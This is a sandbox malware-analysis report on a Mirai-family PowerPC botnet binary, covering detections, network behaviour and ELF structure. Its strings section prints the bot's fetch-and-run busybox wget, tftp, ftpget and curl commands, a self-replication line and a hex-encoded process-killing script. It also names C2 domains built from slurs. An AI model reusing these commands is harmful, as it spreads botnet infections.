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Linux Analysis Report
nabppc.elf

Overview

General Information

Sample name:	nabppc.elf
Analysis ID:	1543614
MD5:	f665dd0de43e9abad1d0ee43d864042b
SHA1:	28f28f52c3cb131464717e5e7e6c884b2ce0a3f6
SHA256:	f9af7dd8760870b6515fb209b2a3281c55435bacd094c8c9023f666a0bad7fa0
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543614
Start date and time:	2024-10-28 08:02:03 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nabppc.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/122@11/0

Warnings

VT rate limit hit for: netfags.geek. [malformed]

Runtime Messages

Command:	/tmp/nabppc.elf
PID:	6209
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

nabppc.elf (PID: 6209, Parent: 6126, MD5: ae65271c943d3451b7f026d1fadccea6) Arguments: /tmp/nabppc.elf

nabppc.elf New Fork (PID: 6211, Parent: 6209)

nabppc.elf New Fork (PID: 6213, Parent: 6211)

nabppc.elf New Fork (PID: 6216, Parent: 6211)

nabppc.elf New Fork (PID: 6218, Parent: 6211)

cleanup

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: nabppc.elf	ReversingLabs: Detection: 42%
Source: nabppc.elf	Virustotal: Detection: 36%			Perma Link

Source: global traffic	TCP traffic: 45.156.86.26 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 45.156.86.24 ports 38241,1,2,3,4,8

Source: global traffic	TCP traffic: 192.168.2.23:49456 -> 45.156.86.24:38241
Source: global traffic	TCP traffic: 192.168.2.23:44808 -> 45.156.86.26:38241

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 51.44.138.186
Source: unknown	TCP traffic detected without corresponding DNS query: 192.170.168.130
Source: unknown	TCP traffic detected without corresponding DNS query: 51.44.138.186
Source: unknown	TCP traffic detected without corresponding DNS query: 139.239.140.217
Source: unknown	TCP traffic detected without corresponding DNS query: 192.170.168.130
Source: unknown	TCP traffic detected without corresponding DNS query: 187.216.180.137
Source: unknown	TCP traffic detected without corresponding DNS query: 139.239.140.217
Source: unknown	TCP traffic detected without corresponding DNS query: 51.44.138.186
Source: unknown	TCP traffic detected without corresponding DNS query: 162.116.56.18
Source: unknown	TCP traffic detected without corresponding DNS query: 187.216.180.137
Source: unknown	TCP traffic detected without corresponding DNS query: 71.232.76.107
Source: unknown	TCP traffic detected without corresponding DNS query: 139.239.140.217
Source: unknown	TCP traffic detected without corresponding DNS query: 192.170.168.130
Source: unknown	TCP traffic detected without corresponding DNS query: 162.116.56.18
Source: unknown	TCP traffic detected without corresponding DNS query: 31.28.169.70
Source: unknown	TCP traffic detected without corresponding DNS query: 187.216.180.137
Source: unknown	TCP traffic detected without corresponding DNS query: 71.232.76.107
Source: unknown	TCP traffic detected without corresponding DNS query: 99.42.126.128
Source: unknown	TCP traffic detected without corresponding DNS query: 31.28.169.70
Source: unknown	TCP traffic detected without corresponding DNS query: 162.116.56.18
Source: unknown	TCP traffic detected without corresponding DNS query: 74.23.183.168
Source: unknown	TCP traffic detected without corresponding DNS query: 99.42.126.128
Source: unknown	TCP traffic detected without corresponding DNS query: 71.232.76.107
Source: unknown	TCP traffic detected without corresponding DNS query: 171.131.19.7
Source: unknown	TCP traffic detected without corresponding DNS query: 74.23.183.168
Source: unknown	TCP traffic detected without corresponding DNS query: 31.28.169.70
Source: unknown	TCP traffic detected without corresponding DNS query: 113.251.77.193
Source: unknown	TCP traffic detected without corresponding DNS query: 171.131.19.7
Source: unknown	TCP traffic detected without corresponding DNS query: 99.42.126.128
Source: unknown	TCP traffic detected without corresponding DNS query: 74.23.183.168
Source: unknown	TCP traffic detected without corresponding DNS query: 188.39.228.63
Source: unknown	TCP traffic detected without corresponding DNS query: 113.251.77.193
Source: unknown	TCP traffic detected without corresponding DNS query: 192.221.3.243
Source: unknown	TCP traffic detected without corresponding DNS query: 188.39.228.63
Source: unknown	TCP traffic detected without corresponding DNS query: 113.251.77.193
Source: unknown	TCP traffic detected without corresponding DNS query: 171.131.19.7
Source: unknown	TCP traffic detected without corresponding DNS query: 191.0.3.133
Source: unknown	TCP traffic detected without corresponding DNS query: 192.221.3.243
Source: unknown	TCP traffic detected without corresponding DNS query: 172.248.121.137
Source: unknown	TCP traffic detected without corresponding DNS query: 191.0.3.133
Source: unknown	TCP traffic detected without corresponding DNS query: 37.53.156.7
Source: unknown	TCP traffic detected without corresponding DNS query: 188.39.228.63
Source: unknown	TCP traffic detected without corresponding DNS query: 146.114.90.24
Source: unknown	TCP traffic detected without corresponding DNS query: 172.248.121.137
Source: unknown	TCP traffic detected without corresponding DNS query: 37.53.156.7
Source: unknown	TCP traffic detected without corresponding DNS query: 155.48.55.147
Source: unknown	TCP traffic detected without corresponding DNS query: 172.178.80.224
Source: unknown	TCP traffic detected without corresponding DNS query: 35.255.21.222
Source: unknown	TCP traffic detected without corresponding DNS query: 146.114.90.24

Source: global traffic	DNS traffic detected: DNS query: yellowchink.pirate
Source: global traffic	DNS traffic detected: DNS query: netfags.geek. [malformed]

Source: nabppc.elf	String found in binary or memory: http:///curl.sh
Source: nabppc.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6230/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6230/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6241/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6241/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6241/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6241/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6240/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6240/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6240/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6240/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6232/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6232/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6243/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6243/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6243/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6243/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6231/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6231/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6242/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6242/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6242/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6242/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6234/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6234/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6234/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6234/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6245/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6245/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6245/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6245/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6233/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6233/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6244/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6244/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6244/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6244/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6236/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6236/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6236/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6236/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6235/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6235/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6235/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6235/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6246/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6246/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6246/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6246/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6283/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6283/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6238/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6238/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6238/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6238/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6237/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6237/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6237/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6237/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6229/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6229/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6239/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6239/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6239/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6216)	File opened: /proc/6239/cmdline	Jump to behavior

Source: nabppc.elf, 6209.1.00007ffdf2883000.00007ffdf28a4000.rw-.sdmp, nabppc.elf, 6213.1.00007ffdf2883000.00007ffdf28a4000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-ppc/tmp/nabppc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nabppc.elf
Source: nabppc.elf, 6209.1.000055e88c516000.000055e88c5c6000.rw-.sdmp, nabppc.elf, 6213.1.000055e88c516000.000055e88c5c6000.rw-.sdmp	Binary or memory string: !/etc/qemu-binfmt/ppc1
Source: nabppc.elf, 6209.1.000055e88c516000.000055e88c5c6000.rw-.sdmp, nabppc.elf, 6213.1.000055e88c516000.000055e88c5c6000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/ppc
Source: nabppc.elf, 6209.1.00007ffdf2883000.00007ffdf28a4000.rw-.sdmp, nabppc.elf, 6213.1.00007ffdf2883000.00007ffdf28a4000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-ppc

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label	Link
nabppc.elf	42%	ReversingLabs	Linux.Backdoor.Mirai
nabppc.elf	37%	Virustotal		Browse

IP	Domain	Country	ASN	ASN Name	Malicious
167.37.140.16	unknown	Canada	2665	CDAGOVNCA	false
200.183.40.4	unknown	Brazil	4230	CLAROSABR	false
51.194.226.186	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
182.0.18.20	unknown	Indonesia	23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
85.223.108.72	unknown	Netherlands	20507	INTERNLNETInterNLnetAutonomousSystemNL	false
141.118.205.33	unknown	Canada	6041	DNIC-ASBLK-05800-06055US	false
20.46.28.46	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
134.221.9.90	unknown	Netherlands	1103	SURFNET-NLSURFnetTheNetherlandsNL	false
208.28.227.152	unknown	United States	1239	SPRINTLINKUS	false
114.47.93.197	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
106.125.212.125	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
139.239.140.217	unknown	United States	1462	DNIC-ASBLK-01462-01463US	false
36.197.121.32	unknown	China	24138	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
187.221.152.32	unknown	Mexico	8151	UninetSAdeCVMX	false
88.222.17.185	unknown	Lithuania	39354	INIT-MGNT-LT	false
99.204.60.45	unknown	United States	10507	SPCSUS	false
45.156.86.26	unknown	Germany	44592	SKYLINKNL	true
79.103.166.48	unknown	Greece	1241	FORTHNET-GRForthnetEU	false
44.187.5.31	unknown	United States	7377	UCSDUS	false
163.119.68.9	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
45.156.86.24	yellowchink.pirate	Germany	44592	SKYLINKNL	true
213.255.173.19	unknown	Finland	29240	LANWAN-ASFI	false
113.51.73.115	unknown	China	17506	UCOMARTERIANetworksCorporationJP	false
214.126.136.128	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
17.37.94.20	unknown	United States	714	APPLE-ENGINEERINGUS	false
57.66.206.7	unknown	Belgium	51964	ORANGE-BUSINESS-SERVICES-IPSN-ASNFR	false
9.197.96.230	unknown	United States	3356	LEVEL3US	false
152.31.119.22	unknown	United States	6559	NCIHUS	false
19.78.157.127	unknown	United States	3	MIT-GATEWAYSUS	false
48.233.30.17	unknown	United States	2686	ATGS-MMD-ASUS	false
160.120.38.248	unknown	Cote D'ivoire	29571	ORANGE-COTE-IVOIRECI	false
160.176.238.224	unknown	Morocco	36903	MT-MPLSMA	false
147.77.60.183	unknown	United Kingdom	10152	NEC-MELB-DC-AS-APNECAustraliaPtyLtdAU	false
182.103.168.151	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
60.55.195.133	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
138.214.29.132	unknown	Canada	59121	AKNWS-NETAsahiKaseiNetworksCorporationJP	false
177.111.136.249	unknown	Brazil	26615	TIMSABR	false
110.242.118.78	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
131.117.170.213	unknown	United Kingdom	18705	RIMBLACKBERRYCA	false
197.178.8.195	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	nabppc.elf	false		unknown
http:///curl.sh	nabppc.elf	false		unknown

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
45.156.86.26	nabspc.elf	Get hash	malicious	Unknown	Browse
45.156.86.24	nabspc.elf	Get hash	malicious	Unknown	Browse
	nabm68k.elf	Get hash	malicious	Unknown	Browse
	zerm68k.elf	Get hash	malicious	Unknown	Browse
	zerx86.elf	Get hash	malicious	Unknown	Browse
	zermpsl.elf	Get hash	malicious	Unknown	Browse
	zerm68k.elf	Get hash	malicious	Unknown	Browse
	nabarm7.elf	Get hash	malicious	Unknown	Browse
	zerspc.elf	Get hash	malicious	Unknown	Browse
	nabm68k.elf	Get hash	malicious	Unknown	Browse
	zerarm.elf	Get hash	malicious	Unknown	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
yellowchink.pirate	splspc.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	jklmpsl.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	splx86.elf	Get hash	malicious	Unknown	Browse	45.156.86.24

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CDAGOVNCA	spc.elf	Get hash	malicious	Mirai	Browse	167.41.173.193
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	142.206.119.243
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	167.51.254.20
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	167.55.83.180
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	142.78.53.46
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	167.54.7.210
	keldRUiaay.elf	Get hash	malicious	Mirai	Browse	167.48.62.29
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	167.36.49.172
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	167.43.246.30
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	167.48.49.66
CLAROSABR	splmips.elf	Get hash	malicious	Unknown	Browse	177.192.204.160
	nabspc.elf	Get hash	malicious	Unknown	Browse	200.251.199.141
	jklx86.elf	Get hash	malicious	Unknown	Browse	177.100.239.57
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	179.209.165.160
	nklppc.elf	Get hash	malicious	Unknown	Browse	179.157.12.143
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	179.152.213.245
	nabspc.elf	Get hash	malicious	Unknown	Browse	200.241.108.204
	nklppc.elf	Get hash	malicious	Unknown	Browse	189.33.116.95
	splarm.elf	Get hash	malicious	Unknown	Browse	189.95.170.167
	nabarm.elf	Get hash	malicious	Unknown	Browse	201.81.48.41
TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	ppc.elf	Get hash	malicious	Unknown	Browse	39.230.204.83
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	39.209.237.75
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	182.8.68.183
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	114.126.65.199
	nabarm7.elf	Get hash	malicious	Unknown	Browse	39.204.125.141
	nabarm5.elf	Get hash	malicious	Unknown	Browse	114.120.254.17
	nklarm.elf	Get hash	malicious	Unknown	Browse	182.8.245.149
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	39.239.192.94
	splppc.elf	Get hash	malicious	Unknown	Browse	39.225.138.97
	splx86.elf	Get hash	malicious	Unknown	Browse	39.246.193.50
BSKYB-BROADBAND-ASGB	splarm5.elf	Get hash	malicious	Unknown	Browse	90.214.228.209
	splx86.elf	Get hash	malicious	Unknown	Browse	176.248.45.86
	nabspc.elf	Get hash	malicious	Unknown	Browse	2.124.65.15
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	90.223.193.18
	nklmips.elf	Get hash	malicious	Unknown	Browse	94.14.135.188
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	51.19.35.220
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	2.223.201.56
	bin.sh.elf	Get hash	malicious	Mirai	Browse	2.126.245.18
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	176.253.7.30
	nabspc.elf	Get hash	malicious	Unknown	Browse	90.196.80.151

Process:	/tmp/nabppc.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	308
Entropy (8bit):	3.0960755192435796
Encrypted:	false
SSDEEP:	6:MD4gDF+NT/V/DFw4VqY/Vt/lr/VfKoO/VNfiY/VH:M8YY1q4V3Ql
MD5:	7A69FCB3A6675F861223ABF7C48C6588
SHA1:	C7970B7E94745248A33E3BE595DEB63A2E70B835
SHA-256:	0705E643D917BBBDDB03A123773EF5F2910FBFBB729154B84953F0421B85A074
SHA-512:	0F7B5CD6F716C256CA134A2ED9DB3147121C0804501EF358CD6DB1162F34DAC173F2BC4EDFF54C01FA0DF55C824AD47564154923A3585A08AA3A6715FBE822C4
Malicious:	false
Reputation:	low
Preview:	10000000-1000b000 r-xp 00000000 fd:00 531606 /tmp/..1001a000-1001b000 rw-p 0000a000 fd:00 531606 /tmp/..1001b000-1001d000 rw-p 00000000 00:00 0 .1001d000-1001e000 rw-p 00000000 00:00 0 .ff7fe000-ff7ff000 ---p 00000000 00:00 0 .ff7ff000-fffff000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.2554794950177826
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	nabppc.elf
File size:	42'488 bytes
MD5:	f665dd0de43e9abad1d0ee43d864042b
SHA1:	28f28f52c3cb131464717e5e7e6c884b2ce0a3f6
SHA256:	f9af7dd8760870b6515fb209b2a3281c55435bacd094c8c9023f666a0bad7fa0
SHA512:	d6e1d9b79a5c4a3ccd23cd3dc745e8fa2705729000ea46972193ce353ec5b380030b168931a3791d0ac2d40ae96af4c2bcae7a2125e96daab71ec247af87d9ee
SSDEEP:	768:ekHuiJQoDHWTdMXZWPgFvohgw2Byrbo/vQF8dVcHnI8sRE:3HRJQooZh8Ino/oFgVKnI8sRE
TLSH:	EB135C42730C8913D1675DB0283F2BD167AF9A502270A3CAB94DF78E81B1F72954BD6C
File Content Preview:	.ELF...........................4.........4. ...(.......................$...$...............(...(...(...x............dt.Q.............................!..\|......$H...H......$8!. \|...N.. .!..\|.......?.............../...@..\?......D.+../...A..$8...}).....DN..

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	PowerPC
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x100001f0
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	41968
Section Header Size:	40
Number of Section Headers:	13
Header String Table Index:	12

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10000094	0x94	0x24	0x0	0x6	AX	4
.text	PROGBITS	0x100000b8	0xb8	0x90f8	0x0	0x6	AX	4
.fini	PROGBITS	0x100091b0	0x91b0	0x20	0x0	0x6	AX	4
.rodata	PROGBITS	0x100091d0	0x91d0	0x1054	0x0	0x2	A	4
.ctors	PROGBITS	0x1001a228	0xa228	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1001a230	0xa230	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x1001a238	0xa238	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x1001a240	0xa240	0x148	0x0	0x3	WA	8
.sdata	PROGBITS	0x1001a388	0xa388	0x18	0x0	0x3	WA	4
.sbss	NOBITS	0x1001a3a0	0xa3a0	0x6c	0x0	0x3	WA	4
.bss	NOBITS	0x1001a40c	0xa3a0	0x112c	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xa3a0	0x50	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000000	0x10000000	0xa224	0xa224	6.3190	0x5	R E	0x10000	.init .text .fini .rodata
